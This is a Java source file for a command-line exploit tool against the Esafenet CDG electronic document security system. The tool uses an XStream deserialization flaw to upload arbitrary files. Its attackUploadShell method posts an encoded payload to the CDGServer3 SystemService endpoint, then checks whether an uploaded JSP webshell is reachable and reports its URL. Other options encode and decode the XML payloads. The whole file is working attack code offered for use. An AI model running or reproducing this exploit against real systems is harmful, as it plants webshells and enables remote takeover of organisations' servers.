package com.cdg;

import com.cdg.utils.Http;
import cn.hutool.http.HttpResponse;
import org.apache.commons.cli.*;
import java.net.URL;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;

public class Exploit {
    public static void printUsage(Options options) {
        HelpFormatter formatter = new HelpFormatter();
        System.out.println("亿赛通电子文档安全管理系统XStream反序列化漏洞任意文件上传利用\n");
        formatter.printHelp("Options", options);

        System.out.println("\nExample: ");
        System.out.println("java -jar CDGXStreamDeserRCE.jar -p http://127.0.0.1:8080 " +
                "-t https://192.168.1.1:8443 -uf shell.jsp");
        System.out.println("java -jar CDGXStreamDeserRCE.jar -e payload.xml");
        System.out.println("java -jar CDGXStreamDeserRCE.jar -d " +
                "FEPCCCLCENHIPOAFPAPDDFCGEAPNMDBMOJPMJAKKNPHOKIKIDCBPHEGKLDGNHCBDEIMODEKMKPFBAIMMNLOJJKMIICLAPJAAFGNGAKFBMPKPJMOIKODEJJMHJCCHKBMFMMFDLOMDPABOJCEAPOFDCPMKGDHFNBBIMCIPAMMIIANFPAJHFAABLLLANNIDAGNKOHONJGFGBKHFDMCLJIMICBHBJEIAAIMACN\n");

    }

    /**
     * 任意文件上传
     * @param proxyURL  目标URL
     * @param target  目标URL
     * @param shellPath  shell文件路径
     */
    public static void attackUploadShell(String proxyURL, String target, String shellPath) throws Exception {
        String body = Encode.encoder(shellPath);

        File file = new File(shellPath);
        String fileName = file.getName();

        URL url = new URL(target);
        String rootURL = url.getProtocol() + "://" + url.getAuthority();
        String path = "/CDGServer3/SystemService?command=GETSYSTEMINFO";

        HashMap<String, String> headers = new HashMap<String, String>();
        headers.put("Content-Type", "text/xml");

        HttpResponse r = Http.post(rootURL+path, body, headers, proxyURL);

        if (r.body().contains("FEPCCCLCEN")) {
            String Webshell = rootURL + "/CDGServer3/" + fileName;
            try {
                HttpResponse r2 = Http.get(Webshell, null, proxyURL);

                int statusCode = r2.getStatus();
                if (statusCode != 404 && statusCode != 302) {
                    System.out.println("[+] Exploit Successed");
                    System.out.println("[+] WebShell: " + Webshell);
                } else {
                    System.out.println("[-] Exploit Failed");
                }
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        } else {
            System.out.println("[-] Exploit Failed");
        }
    }

    public static void main(String[] args) {
        Options options = new Options();

        options.addOption("h", "help", false,"打印帮助信息");
        options.addOption("t", "target", true, "目标URL");
        options.addOption("p", "proxy", true, "代理地址");
        options.addOption("uf", "upload-file", true, "上传文件的本地路径");
        options.addOption("d", "decode", true,"密文解码");
        options.addOption("e", "encode", true,"加密XML反序列化payload");

        CommandLineParser parser = new BasicParser();

        try {
            CommandLine cli = parser.parse(options, args);
            if (cli.hasOption("h")) {
                printUsage(options);
            } else if (cli.hasOption("d")) {
                String dArgs = cli.getOptionValue("d");
                String eString = "";

                Path filePath = Paths.get(dArgs);
                if (Files.exists(filePath)) {
                    eString = new String(Files.readAllBytes(filePath));
                } else {
                    eString = dArgs;
                }

                Decode.decoder(eString);
            } else if (cli.hasOption("e")) {
                String eArgs = cli.getOptionValue("e");
                String planText = "";

                Path filePath = Paths.get(eArgs);

                if (Files.exists(filePath)) {
                    planText = new String(Files.readAllBytes(filePath));
                } else {
                    planText = eArgs;
                }

                String result = ServiceUtil.changeXMLInfo(planText);
                System.out.println(result);
            } else if (cli.hasOption("t") && cli.hasOption("uf")) {
                String target = cli.getOptionValue("t");
                String proxy = cli.hasOption("p") ? cli.getOptionValue("p") : "";
                String shellPath = cli.getOptionValue("uf");

                attackUploadShell(proxy, target, shellPath);
            } else {
                printUsage(options);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}
